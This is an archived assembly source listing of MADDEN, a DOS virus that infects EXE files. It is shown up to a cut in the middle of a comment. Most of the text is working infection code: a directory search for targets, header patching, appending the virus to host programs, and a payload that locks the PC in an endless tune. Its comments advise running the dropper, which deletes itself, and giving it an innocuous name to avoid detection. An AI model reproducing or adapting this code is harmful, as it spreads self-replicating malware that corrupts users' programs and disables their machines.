home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MADDEN.ASM < prev    next >
Assembly Source File  |  1992-07-17  |  34KB  |  806 lines

  1. ;The MADDEN virus is an EXE file infector which can jump from directory to
  2. ;directory.   It attaches itself to the end of a file and
  3. ;modifies the EXE file header so that it gets control first, before the host
  4. ;program. When it is done doing its job, it passes control to the host program,
  5. ;so that the host executes without a hint that the virus is there.
  6.  
  7.  
  8.     .SEQ                       ;segments must appear in sequential order
  9.                    ;to simulate conditions in actual active virus
  10.  
  11.  
  12. ;MGROUP  GROUP   HOSTSEG,HSTACK     ;Host stack and code segments grouped together
  13.  
  14. ;HOSTSEG program code segment. The virus gains control before this routine and
  15. ;attaches itself to another EXE file. As such, the host program for this
  16. ;installer simply tries to delete itself off of disk and terminates. That is
  17. ;worthwhile if you want to infect a system with the virus without getting
  18. ;caught. Just execute the program that infects, and it disappears without a
  19. ;trace. You might want to name the program something more innocuous, though.
  20. ;MADDEN also locks the pc into a 'maddening' toon when it runs out
  21. ;of files to infect. (MADDEN can be assembled to an .obj file under a86,
  22. ;then linked to the 'infected' .exe form.)
  23.  
  24. HOSTSEG SEGMENT BYTE
  25.     ASSUME  CS:HOSTSEG,SS:HSTACK
  26.  
  27. PGMSTR  DB 'MADDEN.EXE',0
  28.  
  29. HOST:
  30.     mov     ax,cs           ;we want DS=CS here
  31.     mov     ds,ax
  32.     mov     dx,OFFSET PGMSTR
  33.     mov     ah,41H
  34.     int     21H             ;delete this exe file
  35.     mov     ah,4CH
  36.     mov     al,0
  37.     int     21H             ;terminate normally
  38. HOSTSEG ENDS
  39.  
  40.  
  41. ;Host program stack segment
  42.  
  43. HSTACK  SEGMENT PARA STACK
  44.     db  100H dup (?)        ;100 bytes long
  45. HSTACK  ENDS
  46.  
  47. ;------------------------------------------------------------------------
  48. ;This is the virus itself
  49.  
  50. STACKSIZE       EQU     100H           ;size of stack for the virus
  51. NUMRELS         EQU     2              ;number of relocatables in the virus, which must go in the relocatable pointer table
  52.  
  53. ;VGROUP  GROUP   VSEG,VSTACK    ;Virus code and stack segments grouped together
  54.  
  55. ;MADDEN Virus code segment. This gains control first, before the host. As this
  56. ;ASM file is layed out, this program will look exactly like a simple program
  57. ;that was infected by the virus.
  58.  
  59. VSEG    SEGMENT PARA
  60.     ASSUME  CS:VSEG,DS:VSEG,SS:VSTACK
  61.  
  62. ;data storage area comes before any code
  63. VIRUSID DW      0C8AAH                ;identifies virus
  64. OLDDTA  DD      0                     ;old DTA segment and offset
  65. DTA1    DB      2BH dup (?)           ;new disk transfer area
  66. DTA2    DB      56H dup (?)           ;dta for directory finds (2 deep)
  67. EXE_HDR DB      1CH dup (?)           ;buffer for EXE file header
  68. EXEFILE DB      '\*.EXE',0            ;search string for an exe file
  69. ALLFILE DB      '\*.*',0              ;search string for any file
  70. USEFILE DB      78 dup (?)            ;area to put valid file path
  71. LEVEL   DB      0                     ;depth to search directories for a file
  72. HANDLE  DW      0                     ;file handle
  73. FATTR   DB      0                     ;old file attribute storage area
  74. FTIME   DW      0                     ;old file time stamp storage area
  75. FDATE   DW      0                     ;old file date stamp storage area
  76. FSIZE   DD      0                     ;file size storage area
  77. VIDC    DW      0                     ;storage area to put VIRUSID from new host .EXE in, to check if virus already there
  78. VCODE   DB      1                     ;identifies this version
  79. MUZIK   dw      4304,0006, 4063,0006, 4304,0006, 4063,0006, ;MUZIK - notes/delay
  80.     dw      3043,0006, 4831,0006, 4063,0006, 3043,0006, ;in format xxxx,yyyy
  81.     dw      4304,0006, 4063,0006, 4304,0006, 4063,0006,
  82.     dw      3043,0006, 4831,0006, 4063,0006, 3043,0006, 
  83.     dw      4304,0006, 4063,0006, 4304,0006, 4063,0006,
  84.     dw      3043,0006, 4831,0006, 4063,0006, 3043,0006, 
  85.     dw      4304,0006, 4063,0006, 4304,0006, 4063,0006,
  86.     dw      3043,0006, 5119,0006, 5423,0006, 3043,0006, 
  87.     dw      6087,0020, 
  88.  
  89.     dw      6087,0006, 
  90.     dw      7239,0006, 3619,0006, 4831,0006, 6087,0006
  91.     dw      7670,0006, 7239,0006, 4831,0006, 3619,0006
  92.  
  93.     dw      6087,0006, 4063,0006, 3043,0006, 5119,0006
  94.     dw      4831,0006, 6087,0006, 7239,0006, 8126,0006
  95.     dw      6087,0020, 
  96.  
  97.     dw      4304,0006, 4063,0006, 4304,0006, 4063,0006,
  98.     dw      3043,0006, 4831,0006, 4063,0006, 3043,0006, 
  99.     dw      4304,0006, 4063,0006, 4304,0006, 4063,0006,
  100.     dw      3043,0006, 4831,0006, 4063,0006, 3043,0006, 
  101.     dw      4304,0006, 4063,0006, 4304,0006, 4063,0006,
  102.     dw      3043,0006, 5119,0006, 5423,0006, 3043,0006, 
  103.     dw      6087,0020, 
  104.  
  105.     dw      6087,0006, 
  106.     dw      7239,0006, 3619,0006, 4831,0006, 6087,0006
  107.     dw      7670,0006, 7239,0006, 4831,0006, 3619,0006
  108.  
  109.     dw      6087,0006, 4063,0006, 3043,0006, 5119,0006
  110.     dw      4831,0006, 6087,0006, 7239,0006, 8126,0006
  111.     dw      6087,0020, 
  112.  
  113.     dw      7670,0006, 7239,0006, 4831,0006, 3619,0006
  114.     dw      3043,0006, 3619,0006, 4831,0006, 6087,0006
  115.     dw      3043,0010, 
  116.  
  117.     dw      4304,0006, 4063,0006, 4304,0006, 4063,0006,
  118.     dw      3043,0006, 4831,0006, 4063,0006, 3043,0006, 
  119.     dw      4304,0006, 4063,0006, 4304,0006, 4063,0006,
  120.     dw      3043,0006, 4831,0006, 4063,0006, 3043,0006, 
  121.     dw      4304,0006, 4063,0006, 4304,0006, 4063,0006,
  122.     dw      3043,0006, 5119,0006, 5423,0006, 3043,0006, 
  123.     dw      6087,0020, 
  124.  
  125.     dw      7670,0006, 7239,0006, 4831,0006, 3619,0006
  126.     dw      3043,0006, 3619,0006, 4831,0006, 6087,0006
  127.     dw      3043,0010, 
  128.  
  129.     dw      6087,0006, 
  130.     dw      7239,0006, 3619,0006, 4831,0006, 6087,0006
  131.     dw      7670,0006, 7239,0006, 4831,0006, 3619,0006
  132.  
  133.     dw      6087,0006, 4063,0006, 3043,0006, 5119,0006
  134.     dw      4831,0006, 6087,0006, 7239,0006, 8126,0006
  135.     dw      6087,0020, 
  136.  
  137.     dw      0ffffh
  138. ;--------------------------------------------------------------------------
  139. ;MADDEN virus main routine starts here
  140. VIRUS:
  141.     push    ax              ;save startup info in ax
  142.     mov     ax,cs
  143.     mov     ds,ax           ;set up DS=CS for the virus
  144.     mov     ax,es           ;get PSP Seg
  145.     mov     WORD PTR [OLDDTA+2],ax   ;set up default DTA Seg=PSP Seg in case of abort without getting it
  146.     call    SHOULDRUN       ;run only when certain conditions met signalled by z set
  147.     jnz     REL1            ;conditions aren't met, go execute host program
  148.     call    SETSR           ;modify SHOULDRUN procedure to activate conditions
  149.     call    NEW_DTA         ;set up a new DTA location
  150.     call    FIND_FILE       ;get an exe file to attack
  151.     jnz     TOON            ;returned nz - no valid files left, play maddening toon!
  152.     call    SAVE_ATTRIBUTE  ;save the file attributes and leave file opened in r/w mode
  153.     call    INFECT          ;move program code to file we found to attack
  154.     call    REST_ATTRIBUTE  ;restore the original file attributes and close the file
  155. FINISH: call    RESTORE_DTA     ;restore the DTA to its original value at startup
  156.     pop     ax              ;restore startup value of ax
  157. REL1:                           ;relocatable marker for host stack segment
  158.     mov     bx,HSTACK       ;set up host program stack segment (ax=segment)
  159.     cli                     ;interrupts off while changing stack
  160.     mov     ss,bx
  161. REL1A:                          ;marker for host stack pointer
  162.     mov     sp,OFFSET HSTACK
  163.     mov     es,WORD PTR [OLDDTA+2]  ;set up ES correctly
  164.     mov     ds,WORD PTR [OLDDTA+2]  ;and DS
  165.     sti                     ;interrupts back on
  166. REL2:                           ;relocatable marker for host code segment
  167.     jmp     FAR PTR HOST    ;begin execution of host program
  168.  
  169. ;--------------------------------------------------------------------------
  170. ;First Level - Find a file which passes FILE_OK
  171. ;
  172. ;This routine does a complex directory search to find an EXE file in the
  173. ;current directory, one of its subdirectories, or the root directory or one
  174. ;of its subdirectories, to find a file for which FILE_OK returns with C reset.
  175. ;If you want to change the depth of the search, make sure to allocate enough
  176. ;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
  177. ;since the recursive FINDBR uses a different DTA area for the search (see DOS
  178. ;functions 4EH and 4FH) on each level.
  179. ;
  180. FIND_FILE:
  181.     mov     al,'\'                  ;set up current directory path in USEFILE
  182.     mov     BYTE PTR [USEFILE],al
  183.     mov     si,OFFSET USEFILE+1
  184.     xor     dl,dl
  185.     mov     ah,47H
  186.     int     21H                     ;get current dir, USEFILE= \dir
  187.     cmp     BYTE PTR [USEFILE+1],0  ;see if it is null. If so, its the root
  188.     jnz     FF2                     ;not the root
  189.     xor     al,al                   ;make correction for root directory,
  190.     mov     BYTE PTR [USEFILE],al   ;by setting USEFILE = ''
  191. FF2:    mov     al,2
  192.     mov     [LEVEL],al              ;search 2 subdirs deep
  193.     call    FINDBR                  ;attempt to locate a valid file
  194.     jz      FF3                     ;found one - exit
  195.     xor     al,al                   ;nope - try the root directory
  196.     mov     BYTE PTR [USEFILE],al   ;by setting USEFILE= ''
  197.     inc     al                      ;al=1
  198.     mov     [LEVEL],al              ;search one subdir deep
  199.     call    FINDBR                  ;attempt to find file
  200. FF3:
  201.     ret                             ;exit with z flag set by FINDBR to indicate success/failure
  202.  
  203. ;***************************************************************************
  204. ; This routine enables MADDEN virus to compell the pc to play a 
  205. ;'maddening' toon when it can't find a file to infect
  206. ;**************************************************************************
  207. TOON:
  208.     cli                          ;interrupts off
  209.     mov     al,10110110xb        ;the magic number
  210.     out     43h,al               ;send it
  211.     lea     si,MUZIK              ;point (si) to our note table
  212. TOON2:  cld                          ;must increment forward
  213.     lodsw                        ;load word into ax and increment (si)
  214.     cmp     ax,0ffffh            ;is it ffff - if so end of table
  215.     jz      GO_MUZIK2             ;so, time to jump into endless loop
  216.     out     42h,al               ;send LSB first
  217.     mov     al,ah                ;place MSB in al
  218.     out     42h,al               ;send it next
  219.     in      al,61h               ;get value to turn on speaker
  220.     or      al,00000011xb        ;OR the gotten value
  221.     out     61h,al               ;now we turn on speaker
  222.     lodsw                        ;load the repeat loop count into (ax)
  223. LOOP6:  mov     cx,8000              ;delay count
  224. LOOP7:  loop    LOOP7                ;do the delay
  225.     dec     ax                   ;decrement repeat count
  226.     jnz     loop6                ;if not = 0 loop back
  227.     in      al,61h               ;all done
  228.     and     al,11111100xb        ;number turns speaker off
  229.     out     61h,al               ;send it
  230.     jmp     short TOON2          ;now go do next note
  231. GO_MUZIK2:                            ;our loop point
  232.     sti                          ;enable interrupts
  233.     jmp    TOON                  ;jump back to beginning - this code
  234.                      ; has the additional advantage of
  235.                      ;locking out CTRL-ALT-DEL reboot.
  236.                      ;The user must do a hard reset to recover.
  237. ;--------------------------------------------------------------------------
  238. ;SEARCH FUNCTION
  239. ;---------------------------------------------------------------------------
  240. ;Second Level - Find in a branch
  241. ;
  242. ;This function searches the directory specified in USEFILE for EXE files.
  243. ;after searching the specified directory, it searches subdirectories to the
  244. ;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this
  245. ;routine exits with Z set and leaves the file and path in USEFILE
  246. ;
  247. FINDBR:
  248.     call    FINDEXE         ;search current dir for EXE first
  249.     jnc     FBE3            ;found it - exit
  250.     cmp     [LEVEL],0       ;no - do we want to go another directory deeper?
  251.     jz      FBE1            ;no - exit
  252.     dec     [LEVEL]         ;yes - decrement LEVEL and continue
  253.     mov     di,OFFSET USEFILE       ;'\curr_dir' is here
  254.     mov     si,OFFSET ALLFILE       ;'\*.*' is here
  255.     call    CONCAT          ;get '\curr_dir\*.*' in USEFILE
  256.     inc     di
  257.     push    di              ;store pointer to first *
  258.     call    FIRSTDIR        ;get first subdirectory
  259.     jnz     FBE             ;couldn't find it, so quit
  260. FB1:                            ;otherwise, check it out
  261.     pop     di              ;strip \*.* off of USEFILE
  262.     xor     al,al
  263.     stosb
  264.     mov     di,OFFSET USEFILE
  265.     mov     bx,OFFSET DTA2+1EH
  266.     mov     al,[LEVEL]
  267.     mov     dl,2BH          ;compute correct DTA location for subdir name
  268.     mul     dl              ;which depends on the depth we're at in the search
  269.     add     bx,ax           ;bx points to directory name
  270.     mov     si,bx
  271.     call    CONCAT          ;'\curr_dir\sub_dir' put in USEFILE
  272.     push    di              ;save position of first letter in sub_dir name
  273.     call    FINDBR          ;scan the subdirectory and its subdirectories (recursive)
  274.     jz      FBE2            ;if successful, exit
  275.     call    NEXTDIR         ;get next subdirectory in this directory
  276.     jz      FB1             ;go check it if search successful
  277. FBE:                            ;else exit, NZ set, cleaned up
  278.     inc     [LEVEL]         ;increment the level counter before exit
  279.     pop     di              ;strip any path or file spec off of original
  280.     xor     al,al           ;directory path
  281.     stosb
  282. FBE1:   mov     al,1            ;return with NZ set
  283.     or      al,al
  284.     ret
  285.  
  286. FBE2:   pop     di              ;successful exit, pull this off the stack
  287. FBE3:   xor     al,al           ;and set Z
  288.     ret                     ;exit
  289.  
  290. ;--------------------------------------------------------------------------
  291. ;Third Level - Part A - Find an EXE file
  292. ;
  293. ;This function searches the path in USEFILE for an EXE file which passes
  294. ;the test FILE_OK. This routine will return the full path of the EXE file
  295. ;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return
  296. ;with the c flag set. It will search a whole directory before giving up.
  297. ;
  298. FINDEXE:
  299.     mov     dx,OFFSET DTA1  ;set new DTA for EXE search
  300.     mov     ah,1AH
  301.     int     21H
  302.     mov     di,OFFSET USEFILE
  303.     mov     si,OFFSET EXEFILE
  304.     call    CONCAT          ;set up USEFILE with '\dir\*.EXE'
  305.     push    di              ;save position of '\' before '*.EXE'
  306.     mov     dx,OFFSET USEFILE
  307.     mov     cx,3FH          ;search first for any file
  308.     mov     ah,4EH
  309.     int     21H
  310. NEXTEXE:
  311.     or      al,al           ;is DOS return OK?
  312.     jnz     FEC             ;no - quit with C set
  313.     pop     di
  314.     inc     di
  315.     stosb                   ;truncate '\dir\*.EXE' to '\dir\'
  316.     mov     di,OFFSET USEFILE
  317.     mov     si,OFFSET DTA1+1EH
  318.     call    CONCAT          ;setup file name '\dir\filename.exe'
  319.     dec     di
  320.     push    di
  321.     call    FILE_OK         ;yes - is this a good file to use?
  322.     jnc     FENC            ;yes - valid file found - exit with c reset
  323.     mov     ah,4FH
  324.     int     21H             ;do find next
  325.     jmp     SHORT NEXTEXE   ;and go test it for validity
  326.  
  327. FEC:                            ;no valid file found, return with C set
  328.     pop     di
  329.     mov     BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
  330.     stc
  331.     ret
  332. FENC:                           ;valid file found, return with NC
  333.     pop     di
  334.     ret
  335.  
  336.  
  337. ;--------------------------------------------------------------------------
  338. ;Third Level - Part B - Find a subdirectory
  339. ;
  340. ;This function searches the file path in USEFILE for subdirectories, excluding
  341. ;the subdirectory header entries. If one is found, it returns with Z set, and
  342. ;if not, it returns with NZ set.
  343. ;There are two entry points here, FIRSTDIR, which does the search first, and
  344. ;NEXTDIR, which does the search next.
  345. ;
  346. FIRSTDIR:
  347.     call    GET_DTA         ;get proper DTA address in dx (calculated from LEVEL)
  348.     push    dx              ;save it
  349.     mov     ah,1AH          ;set DTA
  350.     int     21H
  351.     mov     dx,OFFSET USEFILE
  352.     mov     cx,10H          ;search for a directory
  353.     mov     ah,4EH          ;do search first function
  354.     int     21H
  355. NEXTD1:
  356.     pop     bx              ;get pointer to search table (DTA)
  357.     or      al,al           ;successful search?
  358.     jnz     NEXTD3          ;no, quit with NZ set
  359.     test    BYTE PTR [bx+15H],10H    ;is this a directory?
  360.     jz      NEXTDIR         ;no, find another
  361.     cmp     BYTE PTR [bx+1EH],'.'    ;is it a subdirectory header?
  362.     jne     NEXTD2          ;no - valid directory, exit, setting Z flag
  363.                 ;else it was dir header entry, so fall through to next
  364. NEXTDIR:                        ;second entry point for search next
  365.     call    GET_DTA         ;get proper DTA address again - may not be set up
  366.     push    dx
  367.     mov     ah,1AH          ;set DTA
  368.     int     21H
  369.     mov     ah,4FH
  370.     int     21H             ;do find next
  371.     jmp     SHORT NEXTD1    ;and loop to check the validity of the return
  372.  
  373. NEXTD2:
  374.     xor     al,al           ;successful exit, set Z flag
  375. NEXTD3:
  376.     ret                     ;exit routine
  377.  
  378. ;--------------------------------------------------------------------------
  379. ;Return the DTA address associated to LEVEL in dx. This is simply given by
  380. ;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
  381. ;in its own DTA, since a search at a lower level occurs in the middle of the
  382. ;higher level search, and we don't want the higher level being ruined by
  383. ;corrupted data.
  384. ;
  385. GET_DTA:
  386.     mov     dx,OFFSET DTA2
  387.     mov     al,2BH
  388.     mul     [LEVEL]
  389.     add     dx,ax                   ;return with dx= proper dta offset
  390.     ret
  391.  
  392. ;--------------------------------------------------------------------------
  393. ;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
  394. ;string at ES:DI. Return ES:DI pointing to the end of the first string in the
  395. ;destination (or the first character of the second string, after moved).
  396. ;
  397. CONCAT:
  398.     mov     al,byte ptr es:[di]     ;find the end of string 1
  399.     inc     di
  400.     or      al,al
  401.     jnz     CONCAT
  402.     dec     di                      ;di points to the null at the end
  403.     push    di                      ;save it to return to the caller
  404. CONCAT2:
  405.     cld
  406.     lodsb                           ;move second string to end of first
  407.     stosb
  408.     or      al,al
  409.     jnz     CONCAT2
  410.     pop     di                      ;and restore di to point to end of string 1
  411.     ret
  412.  
  413.  
  414. ;--------------------------------------------------------------------------
  415. ;Function to determine whether the EXE file specified in USEFILE is useable.
  416. ;if so return nc, else return c
  417. ;What makes an EXE file useable?:
  418. ;              a) The signature field in the EXE header must be 'MZ'. (These
  419. ;                 are the first two bytes in the file.)
  420. ;              b) The Overlay Number field in the EXE header must be zero.
  421. ;              c) There must be room in the relocatable table for NUMRELS
  422. ;                 more relocatables without enlarging it.
  423. ;              d) The word VIRUSID must not appear in the 2 bytes just before
  424. ;                 the initial CS:0000 of the test file. If it does, the virus
  425. ;                 is probably already in that file, so we skip it.
  426. ;
  427. FILE_OK:
  428.     call    GET_EXE_HEADER         ;read the EXE header in USEFILE into EXE_HDR
  429.     jc      OK_END                 ;error in reading the file, so quit
  430.     call    CHECK_SIG_OVERLAY      ;is the overlay number zero?
  431.     jc      OK_END                 ;no - exit with c set
  432.     call    REL_ROOM               ;is there room in the relocatable table?
  433.     jc      OK_END                 ;no - exit
  434.     call    IS_ID_THERE            ;is id at CS:0000?
  435. OK_END: ret                            ;return with c flag set properly
  436.  
  437. ;--------------------------------------------------------------------------
  438. ;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
  439. ;number is anything but zero.
  440. CHECK_SIG_OVERLAY:
  441.     mov     al,'M'                  ;check the signature first
  442.     mov     ah,'Z'
  443.     cmp     ax,WORD PTR [EXE_HDR]
  444.     jz      CSO_1                   ;jump if OK
  445.     stc                             ;else set carry and exit
  446.     ret
  447. CSO_1:  xor     ax,ax
  448.     sub     ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
  449.     ret                             ;c is set if it's anything but 0
  450.  
  451. ;--------------------------------------------------------------------------
  452. ;This function reads the 28 byte EXE file header for the file named in USEFILE.
  453. ;It puts the header in EXE_HDR, and returns c set if unsuccessful.
  454. ;
  455. GET_EXE_HEADER:
  456.     mov     dx,OFFSET USEFILE
  457.     mov     ax,3D02H                ;r/w access open file
  458.     int     21H
  459.     jc      RE_RET                  ;error opening - C set - quit without closing
  460.     mov     [HANDLE],ax             ;else save file handle
  461.     mov     bx,ax                   ;handle to bx
  462.     mov     cx,1CH                  ;read 28 byte EXE file header
  463.     mov     dx,OFFSET EXE_HDR       ;into this buffer
  464.     mov     ah,3FH
  465.     int     21H
  466. RE_RET: ret                             ;return with c set properly
  467.  
  468. ;--------------------------------------------------------------------------
  469. ;This function determines if there are at least NUMRELS openings in the
  470. ;current relocatable table in USEFILE. If there are, it returns with
  471. ;carry reset, otherwise it returns with carry set. The computation
  472. ;this routine does is to compare whether
  473. ;    ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
  474. ;is >= than 4 * NUMRELS. If it is, then there is enough room
  475. ;
  476. REL_ROOM:
  477.     mov     ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
  478.     add     ax,ax
  479.     add     ax,ax
  480.     sub     ax,WORD PTR [EXE_HDR+6] ;number of relocatables
  481.     add     ax,ax
  482.     add     ax,ax
  483.     sub     ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
  484.     cmp     ax,4*NUMRELS            ;enough room to put relocatables in?
  485. RR_RET: ret                             ;exit with carry set properly
  486.  
  487.  
  488. ;--------------------------------------------------------------------------
  489. ;This function determines whether the word at the initial CS:0000 in USEFILE
  490. ;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
  491. ;it returns c reset.
  492. ;
  493. IS_ID_THERE:
  494.     mov     ax,WORD PTR [EXE_HDR+22] ;Initial CS
  495.     add     ax,WORD PTR [EXE_HDR+8]  ;Header size
  496.     mov     dx,16
  497.     mul     dx
  498.     mov     cx,dx
  499.     mov     dx,ax                    ;cxdx = position to look for VIRUSID in file
  500.     mov     bx,[HANDLE]
  501.     mov     ax,4200H                 ;set file pointer, relative to beginning
  502.     int     21H
  503.     mov     ah,3FH
  504.     mov     bx,[HANDLE]
  505.     mov     dx,OFFSET VIDC
  506.     mov     cx,2                     ;read 2 bytes into VIDC
  507.     int     21H
  508.     jc      II_RET                   ;couldn't read - bad file - report as though ID is there so we dont do any more to this file
  509.     mov     ax,[VIDC]
  510.     cmp     ax,[VIRUSID]             ;is it the VIRUSID?
  511.     clc
  512.     jnz     II_RET                   ;if not, then virus is not already in this file
  513.     stc                              ;else it is probably there already
  514. II_RET: ret
  515.  
  516.  
  517. ;--------------------------------------------------------------------------
  518. ;This routine makes sure file end is at paragraph boundary, so the virus
  519. ;can be attached with a valid CS. Assumes file pointer is at end of file.
  520. SETBDY:
  521.     mov     al,BYTE PTR [FSIZE]
  522.     and     al,0FH              ;see if we have a paragraph boundary (header is always even # of paragraphs)
  523.     jz      SB_E                ;all set - exit
  524.     mov     cx,10H              ;no - write any old bytes to even it up
  525.     sub     cl,al               ;number of bytes to write in cx
  526.     mov     dx,OFFSET FINAL     ;set buffer up to point to end of the code (just garbage there)
  527.     add     WORD PTR [FSIZE],cx     ;update FSIZE
  528.     adc     WORD PTR [FSIZE+2],0
  529.     mov     bx,[HANDLE]
  530.     mov     ah,40H              ;DOS write function
  531.     int     21H
  532. SB_E:   ret
  533.  
  534. ;--------------------------------------------------------------------------
  535. ;This routine moves the virus (this program) to the end of the EXE file
  536. ;Basically, it just copies everything here to there, and then goes and
  537. ;adjusts the EXE file header and two relocatables in the program, so that
  538. ;it will work in the new environment. It also makes sure the virus starts
  539. ;on a paragraph boundary, and adds how many bytes are necessary to do that.
  540. ;
  541. INFECT:
  542.     mov     cx,WORD PTR [FSIZE+2]
  543.     mov     dx,WORD PTR [FSIZE]
  544.     mov     bx,[HANDLE]
  545.     mov     ax,4200H                ;set file pointer, relative to beginning
  546.     int     21H                     ;go to end of file
  547.     call    SETBDY                  ;lengthen to a paragraph boundary if necessary
  548.     mov     cx,OFFSET FINAL         ;last byte of code
  549.     xor     dx,dx                   ;first byte of code, DS:DX
  550.     mov     bx,[HANDLE]             ;move virus code to end of file being attacked with
  551.     mov     ah,40H                  ;DOS write function
  552.     int     21H
  553.     mov     dx,WORD PTR [FSIZE]     ;find 1st relocatable in code (SS)
  554.     mov     cx,WORD PTR [FSIZE+2]
  555.     mov     bx,OFFSET REL1          ;it is at FSIZE+REL1+1 in the file
  556.     inc     bx
  557.     add     dx,bx
  558.     mov     bx,0
  559.     adc     cx,bx                   ;cx:dx is that number
  560.     mov     bx,[HANDLE]
  561.     mov     ax,4200H                ;set file pointer to 1st relocatable
  562.     int     21H
  563.     mov     dx,OFFSET EXE_HDR+14    ;get correct old SS for new program
  564.     mov     bx,[HANDLE]             ;from the EXE header
  565.     mov     cx,2
  566.     mov     ah,40H                  ;and write it to relocatable REL1+1
  567.     int     21H
  568.     mov     dx,WORD PTR [FSIZE]
  569.     mov     cx,WORD PTR [FSIZE+2]
  570.     mov     bx,OFFSET REL1A         ;put in correct old SP from EXE header
  571.     inc     bx                      ;at FSIZE+REL1A+1
  572.     add     dx,bx
  573.     mov     bx,0
  574.     adc     cx,bx                   ;cx:dx points to FSIZE+REL1A+1
  575.     mov     bx,[HANDLE]
  576.     mov     ax,4200H                ;set file pointer to place to write SP to
  577.     int     21H
  578.     mov     dx,OFFSET EXE_HDR+16    ;get correct old SP for infected program
  579.     mov     bx,[HANDLE]             ;from EXE header
  580.     mov     cx,2
  581.     mov     ah,40H                  ;and write it where it belongs
  582.     int     21H
  583.     mov     dx,WORD PTR [FSIZE]
  584.     mov     cx,WORD PTR [FSIZE+2]
  585.     mov     bx,OFFSET REL2          ;put in correct old CS:IP in program
  586.     add     bx,1                    ;at FSIZE+REL2+1 on disk
  587.     add     dx,bx
  588.     mov     bx,0
  589.     adc     cx,bx                   ;cx:dx points to FSIZE+REL2+1
  590.     mov     bx,[HANDLE]
  591.     mov     ax,4200H                ;set file pointer relavtive to start of file
  592.     int     21H
  593.     mov     dx,OFFSET EXE_HDR+20    ;get correct old CS:IP from EXE header
  594.     mov     bx,[HANDLE]
  595.     mov     cx,4
  596.     mov     ah,40H                  ;and write 4 bytes to FSIZE+REL2+1
  597.     int     21H
  598.                     ;done writing relocatable vectors
  599.                     ;so now adjust the EXE header values
  600.     xor     cx,cx
  601.     xor     dx,dx
  602.     mov     bx,[HANDLE]
  603.     mov     ax,4200H                ;set file pointer to start of file
  604.     int     21H
  605.     mov     ax,WORD PTR [FSIZE]     ;calculate new initial CS (the virus' CS)
  606.     mov     cl,4                    ;given by (FSIZE/16)-HEADER SIZE (in paragraphs)
  607.     shr     ax,cl
  608.     mov     bx,WORD PTR [FSIZE+2]
  609.     and     bl,0FH
  610.     mov     cl,4
  611.     shl     bl,cl
  612.     add     ah,bl
  613.     sub     ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
  614.     mov     WORD PTR [EXE_HDR+22],ax;and save as initial CS
  615.     mov     bx,OFFSET FINAL         ;compute new initial SS
  616.     add     bx,10H                  ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16)
  617.     mov     cl,4
  618.     shr     bx,cl
  619.     add     ax,bx
  620.     mov     WORD PTR [EXE_HDR+14],ax  ;and save it
  621.     mov     ax,OFFSET VIRUS           ;get initial IP
  622.     mov     WORD PTR [EXE_HDR+20],ax  ;and save it
  623.     mov     ax,STACKSIZE              ;get initial SP
  624.     mov     WORD PTR [EXE_HDR+16],ax  ;and save it
  625.     mov     dx,WORD PTR [FSIZE+2]
  626.     mov     ax,WORD PTR [FSIZE]     ;calculate new file size
  627.     mov     bx,OFFSET FINAL
  628.     add     ax,bx
  629.     xor     bx,bx
  630.     adc     dx,bx                   ;put it in ax:dx
  631.     add     ax,200H                 ;and set up the new page count
  632.     adc     dx,bx                   ;page ct= (ax:dx+512)/512
  633.     push    ax
  634.     mov     cl,9
  635.     shr     ax,cl
  636.     mov     cl,7
  637.     shl     dx,cl
  638.     add     ax,dx
  639.     mov     WORD PTR [EXE_HDR+4],ax ;and save it here
  640.     pop     ax
  641.     and     ax,1FFH                 ;now calculate last page size
  642.     mov     WORD PTR [EXE_HDR+2],ax ;and put it here
  643.     mov     ax,NUMRELS              ;adjust relocatables counter
  644.     add     WORD PTR [EXE_HDR+6],ax
  645.     mov     cx,1CH                  ;and save data at start of file
  646.     mov     dx,OFFSET EXE_HDR
  647.     mov     bx,[HANDLE]
  648.     mov     ah,40H                  ;DOS write function
  649.     int     21H
  650.     mov     ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
  651.     dec     ax                      ;in order to calculate location of
  652.     dec     ax                      ;where to add relocatables
  653.     mov     bx,4                    ;Location= (No in table-2)*4+Table Offset
  654.     mul     bx
  655.     add     ax,WORD PTR [EXE_HDR+24];table offset
  656.     mov     bx,0
  657.     adc     dx,bx                   ;dx:ax=end of old table in file
  658.     mov     cx,dx
  659.     mov     dx,ax
  660.     mov     bx,[HANDLE]
  661.     mov     ax,4200H                ;set file pointer to table end
  662.     int     21H
  663.     mov     ax,WORD PTR [EXE_HDR+22]  ;and set up 2 pointers: init CS = seg of REL1
  664.     mov     bx,OFFSET REL1
  665.     inc     bx                      ;offset of REL1
  666.     mov     WORD PTR [EXE_HDR],bx   ;use EXE_HDR as a buffer to
  667.     mov     WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
  668.     mov     ax,WORD PTR [EXE_HDR+22]  ;init CS = seg of REL2
  669.     mov     bx,OFFSET REL2
  670.     add     bx,3                    ;offset of REL2
  671.     mov     WORD PTR [EXE_HDR+4],bx ;write it to buffer
  672.     mov     WORD PTR [EXE_HDR+6],ax
  673.     mov     cx,8                    ;and then write 8 bytes of data in file
  674.     mov     dx,OFFSET EXE_HDR
  675.     mov     bx,[HANDLE]
  676.     mov     ah,40H                  ;DOS write function
  677.     int     21H
  678.     ret                             ;that's it, infection is complete!
  679.  
  680. ;--------------------------------------------------------------------------
  681. ;This routine determines whether the reproduction code should be executed.
  682. ;If it returns Z, the reproduction code is executed, otherwise it is not.
  683. ;Currently, it only executes if the system time variable is a multiple of
  684. ;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
  685. ;executions of the program. TIMECT should be 2^n-1
  686. ;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
  687. ;is run. This makes SHOULDRUN return Z for sure the first time, so it
